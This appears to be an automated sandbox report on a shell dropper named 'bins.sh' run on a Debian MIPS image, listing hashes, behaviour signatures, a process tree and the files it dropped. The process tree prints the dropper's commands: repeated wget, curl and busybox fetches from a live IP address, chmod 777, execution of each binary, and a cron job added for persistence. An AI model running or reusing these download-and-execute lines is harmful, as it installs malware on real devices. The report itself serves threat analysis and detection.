Overview

overview

7

Static

static

1

bins.sh

ubuntu-18.04-amd64

7

bins.sh

debian-9-armhf

7

bins.sh

debian-9-mips

7

bins.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    31-10-2024 18:12

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    add9df3fe0956071f11080084a31bdeb

  • SHA1

    f7ae02765b04a8c8e2a9f9c67fe20acd4516fd05

  • SHA256

    baab79252bc9c7f91e534d97826913a53ccd378649706b77c8f448566dab641d

  • SHA512

    2e6bd72689deb04f699f94d15949886de251783f5e5c037cd76647fc10b6777f1c7fa1659fbec5e824ef0427e152a3879744edfceed370b4a3213d41749cc84c

  • SSDEEP

    96:9aG1ai9mSxkvymsIWTbbSb2bNbUb0bRG+aG1ai0SM9SvVkT7kmiec+vobbSb2bNj:7xkvymsIWTPK7GX

Score
7/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 26 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:704
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:710
        • /usr/bin/wget
          wget http://87.120.84.230/bins/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe
          2⤵
          • Writes file to tmp directory
          PID:713
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:734
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe
          2⤵
          • Writes file to tmp directory
          PID:740
        • /bin/chmod
          chmod 777 tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe
          2⤵
          • File and Directory Permissions Modification
          PID:744
        • /tmp/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe
          ./tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe
          2⤵
          • Executes dropped EXE
          PID:745
        • /bin/rm
          rm tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe
          2⤵
            PID:748
          • /usr/bin/wget
            wget http://87.120.84.230/bins/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR
            2⤵
            • Writes file to tmp directory
            PID:750
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:756
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR
            2⤵
            • Writes file to tmp directory
            PID:768
          • /bin/chmod
            chmod 777 IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR
            2⤵
            • File and Directory Permissions Modification
            PID:772
          • /tmp/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR
            ./IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR
            2⤵
            • Executes dropped EXE
            PID:774
          • /bin/rm
            rm IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR
            2⤵
              PID:777
            • /usr/bin/wget
              wget http://87.120.84.230/bins/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj
              2⤵
              • Writes file to tmp directory
              PID:778
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:789
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj
              2⤵
              • Writes file to tmp directory
              PID:796
            • /bin/chmod
              chmod 777 eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj
              2⤵
              • File and Directory Permissions Modification
              PID:798
            • /tmp/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj
              ./eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj
              2⤵
              • Executes dropped EXE
              PID:799
            • /bin/rm
              rm eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj
              2⤵
                PID:801
              • /usr/bin/wget
                wget http://87.120.84.230/bins/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs
                2⤵
                • Writes file to tmp directory
                PID:802
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:803
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs
                2⤵
                • Writes file to tmp directory
                PID:834
              • /bin/chmod
                chmod 777 7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs
                2⤵
                • File and Directory Permissions Modification
                PID:835
              • /tmp/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs
                ./7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs
                2⤵
                • Executes dropped EXE
                PID:836
              • /bin/rm
                rm 7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs
                2⤵
                  PID:838
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb
                  2⤵
                  • Writes file to tmp directory
                  PID:839
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:840
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb
                  2⤵
                  • Writes file to tmp directory
                  PID:841
                • /bin/chmod
                  chmod 777 OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb
                  2⤵
                  • File and Directory Permissions Modification
                  PID:842
                • /tmp/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb
                  ./OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb
                  2⤵
                  • Executes dropped EXE
                  PID:843
                • /bin/rm
                  rm OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb
                  2⤵
                    PID:845
                  • /usr/bin/wget
                    wget http://87.120.84.230/bins/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV
                    2⤵
                    • Writes file to tmp directory
                    PID:846
                  • /usr/bin/curl
                    curl -O http://87.120.84.230/bins/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV
                    2⤵
                    • Writes file to tmp directory
                    PID:847
                  • /bin/busybox
                    /bin/busybox wget http://87.120.84.230/bins/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV
                    2⤵
                    • Writes file to tmp directory
                    PID:848
                  • /bin/chmod
                    chmod 777 zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV
                    2⤵
                    • File and Directory Permissions Modification
                    PID:849
                  • /tmp/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV
                    ./zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV
                    2⤵
                    • Executes dropped EXE
                    PID:850
                  • /bin/rm
                    rm zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV
                    2⤵
                      PID:852
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:853
                    • /usr/bin/curl
                      curl -O http://87.120.84.230/bins/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ
                      2⤵
                      • Reads runtime system information
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:854
                    • /bin/busybox
                      /bin/busybox wget http://87.120.84.230/bins/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:855
                    • /bin/chmod
                      chmod 777 ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ
                      2⤵
                      • File and Directory Permissions Modification
                      PID:856
                    • /tmp/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ
                      ./ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ
                      2⤵
                      • Executes dropped EXE
                      • System Network Configuration Discovery
                      PID:857
                    • /bin/rm
                      rm ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ
                      2⤵
                      • System Network Configuration Discovery
                      PID:859
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd
                      2⤵
                      • Writes file to tmp directory
                      PID:860
                    • /usr/bin/curl
                      curl -O http://87.120.84.230/bins/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:861
                    • /bin/busybox
                      /bin/busybox wget http://87.120.84.230/bins/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd
                      2⤵
                      • Writes file to tmp directory
                      PID:862
                    • /bin/chmod
                      chmod 777 KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd
                      2⤵
                      • File and Directory Permissions Modification
                      PID:863
                    • /tmp/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd
                      ./KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:864
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:866
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                            • Reads runtime system information
                            PID:867
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:868
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              • Reads runtime system information
                              PID:869
                        • /bin/rm
                          rm KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd
                          2⤵
                            PID:871
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13
                            2⤵
                              PID:875
                            • /usr/bin/curl
                              curl -O http://87.120.84.230/bins/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13
                              2⤵
                                PID:876
                              • /bin/busybox
                                /bin/busybox wget http://87.120.84.230/bins/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13
                                2⤵
                                • Writes file to tmp directory
                                PID:877
                              • /bin/chmod
                                chmod 777 PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13
                                2⤵
                                • File and Directory Permissions Modification
                                PID:878
                              • /tmp/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13
                                ./PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13
                                2⤵
                                • Executes dropped EXE
                                PID:879
                              • /bin/rm
                                rm PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13
                                2⤵
                                  PID:881
                                • /usr/bin/wget
                                  wget http://87.120.84.230/bins/OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN
                                  2⤵
                                    PID:882
                                  • /usr/bin/curl
                                    curl -O http://87.120.84.230/bins/OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN
                                    2⤵
                                      PID:883
                                    • /bin/busybox
                                      /bin/busybox wget http://87.120.84.230/bins/OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:884

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

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                                  Downloads

                                  • /tmp/7DEIG4dAfwusy79BtfKAhzmE18ezuAEPLs
                                    Filesize

                                    100KB

                                    MD5

                                    3b78bb645b81d600c30713d416f666be

                                    SHA1

                                    23796112f2cce2afb2217498b5ecf2801ab550f2

                                    SHA256

                                    d52f8bcb15a590aa5624c446091f1cd0705b68e4647debaeecf8cfa1fe425bd2

                                    SHA512

                                    9532ede2d78f1f62f291c8d8d4023c9c579a0bdd042ca11af179adcab96ac2eb178ecb34b9e4b99a33f828694b9839abebabd2ef57dd36d1936027bad1987cf9

                                    Download Submit

                                  • /tmp/IUGjQGP9j20LhOTC222fZIrfyOuPYtk9iR
                                    Filesize

                                    84KB

                                    MD5

                                    64ece99ca4ab1c1405f5a3335d64a960

                                    SHA1

                                    b7395f2320a5bdadb78943b268708965cdbd1d74

                                    SHA256

                                    aaf14287d7a971d4541527262e85e5930bbb7f506cff4808d712843be9f05dae

                                    SHA512

                                    bc169075e50ceffd0ce0cc90513bc2f0d8696c01d4132609e31c782ea6c0a755505891e2e23676dd63c3dd00bf97599a9a7e6230e8c3f5166202f5b9be606d41

                                    Download Submit

                                  • /tmp/KDBDhSt7ce4AH4R76TedzosCU6IiiU2hJd
                                    Filesize

                                    129KB

                                    MD5

                                    54bec959d900ad930dc662f8092da57d

                                    SHA1

                                    9ae7ad9018eeac5aa89bcde68ec683a364ac7d55

                                    SHA256

                                    b62a7cb65dda1cb1ae995b13b62d20289f43b7bc560211484cfdc98c0d9b5f12

                                    SHA512

                                    904a52a1d41d442da07333f9835bb0b1bfcefe9790a566d3b8e03d62e0c788d10b0e17b05865798b1817615b3adb07adfcb13452d96aacf5995b66fae617db40

                                    Download Submit

                                  • /tmp/OSrXmMpJeMuegZ2t3HJk0GDIDlNWTeZoEN
                                    Filesize

                                    24KB

                                    MD5

                                    2c164817262cdf2db80a789a8ed18588

                                    SHA1

                                    5774eb7a693e4b358f53d7be28679350c93de9f3

                                    SHA256

                                    f379bc3507a95d5f45e51ba846a67fd58d0ec0198caf0d0a89de9d3f7d2c4f94

                                    SHA512

                                    e480f484c1ba0a5db8ba533dd17ad7c66e8e97bf8997f55dd182ff233aebcc5dfaf05933b602041d8daec420706b128d88c62b7fe2221d730cc3763cbfd52c6d

                                    Download Submit

                                  • /tmp/OYvItG2UxnyJZrYRe6Z9aiD3X1ly0j0VJb
                                    Filesize

                                    129KB

                                    MD5

                                    52f72bcf31899453b40d37a7cbf55f35

                                    SHA1

                                    6dfca1bd70aad3e88713b02ec1669ba5a792456c

                                    SHA256

                                    ed7e61403d47c0319eea05db0cba4d17bfb1594621d6722bfe43cffecacdf495

                                    SHA512

                                    be8b5d14afe30f1ce2f474a20af599a93c3a7543ec301554dd2ffa0225c945d91c3354d777f09ee886a90acfa8ecfa24533de9cf3bcf5f59a44d53ca3c73e967

                                    Download Submit

                                  • /tmp/PdEZ8264siDtS3uUhD7KAvI2T1jba3WR13
                                    Filesize

                                    93KB

                                    MD5

                                    8fad5e89ce3d2b6159ac2ce2fdf7c084

                                    SHA1

                                    27105a304b9bb7cd8a663d1b4da1d92fd8eea355

                                    SHA256

                                    24689f385c263c42a28dd1498049171abc633faf91b5df2a738a81145d929bd6

                                    SHA512

                                    71689ade77c0ad2ca2db18ed4fd437b6a053b002efadbf6fb479e4f5c85a7830dc0e9cbfef877ca7a91c735a68f28226e7c813c05b329c23668de7edbc99f4bc

                                    Download Submit

                                  • /tmp/ZtEzFIPWhdKnA10yJN3FUBBkxxdzRS4mmQ
                                    Filesize

                                    122KB

                                    MD5

                                    aadb8cc4b6eac7fce760c09262693884

                                    SHA1

                                    b55178ff3605f4bbfc9286d4c8ac445673232217

                                    SHA256

                                    b254f9a6df1e7aae5181abf014b9d574c959ab71bdfd3a2b21022446c583d843

                                    SHA512

                                    5567998215fc9389efeb34ee57e59db4141044bbb1f06cac365565681226836b515c8c8cc17931e72e71d4240a5f433aebb8dfe67b2463ef800f59c86561a62c

                                    Download Submit

                                  • /tmp/eBOhMFCgUagqZ1Aqh9SuqAFtqpUIghphWj
                                    Filesize

                                    80KB

                                    MD5

                                    22c527269cbd9b42f4ade79f52757efb

                                    SHA1

                                    c2456188a49af93b0d07af2a7cc1346d5be510bd

                                    SHA256

                                    100042d7138b4348a13c54c191d501d125b7fea7631382e7d0e9d7251057ce97

                                    SHA512

                                    7b7cb4d8307c0437163cdbfa349f1285cfa26c25ec856f8b4d4cebf8f71cae87e74de8f3c0f29ef2789168a4499bfe95007d7d524ed734e3eb4ac0d0e4e09b53

                                    Download Submit

                                  • /tmp/tbJRb0QOL8ycxxdt8zu52T0O9R6dapfXEe
                                    Filesize

                                    95KB

                                    MD5

                                    c20c610e14b8e59f5f8258a55fe7f27d

                                    SHA1

                                    e59a0b83d9882f2770f052a213cad25b0cbd53fc

                                    SHA256

                                    adb7828df990cedc9f301891e725c547656967d827ce9cfdf3f6e8fa8242618b

                                    SHA512

                                    dd8d992edcb5e4dae5e97a1ad12c28560a2cda02dcc1867250de78b0fe0d0f511b7269cb4999c80d6d299b87145bcef5b1587730b496426f14550b6f7a0a59a2

                                    Download Submit

                                  • /tmp/zsIFAllkjoP9OW7wU6Wz2wCuxbIamFuThV
                                    Filesize

                                    101KB

                                    MD5

                                    a7e686eb3f74b104a5520f08cfd54eb5

                                    SHA1

                                    58b5d9571c85c6a7efc4e57111c3b8e2b2c9bb6b

                                    SHA256

                                    617734b61c7e230a72fba8cb8b361bda96cc2d8f40ee358c44a60f1d9b48ab07

                                    SHA512

                                    2767d9a7f71319334578015b133474217901747a6e21b0cdc2d591205c2862220e1730bbcee86ff372b2f2261e25bb64d021f9826ce9332d037b5db1c2ea68df

                                    Download Submit

                                  • /var/spool/cron/crontabs/tmp.l8hddz
                                    Filesize

                                    210B

                                    MD5

                                    221a138a974caf5b20ff228e90929ebb

                                    SHA1

                                    7f525c8ae4220363d994a78f499493229f75a995

                                    SHA256

                                    8b196ea7db5c07c24fae2809bcdbacfbffd854b11e6ee6c68e2da01e3b4b221c

                                    SHA512

                                    1730bc5d7437f003ec9a74b92ffdcff4b5bf7491c1c7da31e65aa9b417972de7896c4b6ceabb57fb04c08086d9385536be2224197ba29947c34b81436072e5e7

                                    Download Submit